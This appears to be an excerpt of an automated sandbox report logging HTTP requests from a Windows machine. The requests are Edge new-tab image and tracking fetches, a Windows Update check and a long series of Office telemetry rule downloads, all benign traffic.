Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732117857297&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D807BBDD89D650538396E80D9B4640A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=15Ba920e294d290f92c554b1732117858; XID=15Ba920e294d290f92c554b1732117858
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732117857296&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1b38a9a563d543da8dd1fdbcc1809c71&activityId=1b38a9a563d543da8dd1fdbcc1809c71&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D96896DCB5BA44E4A70348A985E0B701&MUID=0D807BBDD89D650538396E80D9B4640A HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0D807BBDD89D650538396E80D9B4640A; _EDGE_S=F=1&SID=2FAAB3D8EF8A6AB60F47A6E5EE9B6BD9; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0D807BBDD89D650538396E80D9B4640A&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-1896095743575897587&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=26a2f394f6db4e638e5e35bcba6ef1f3 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0D807BBDD89D650538396E80D9B4640A; _EDGE_S=F=1&SID=2FAAB3D8EF8A6AB60F47A6E5EE9B6BD9; _EDGE_V=1; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bslUwWlH7asp55+&MD=TSa4H7Ug HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
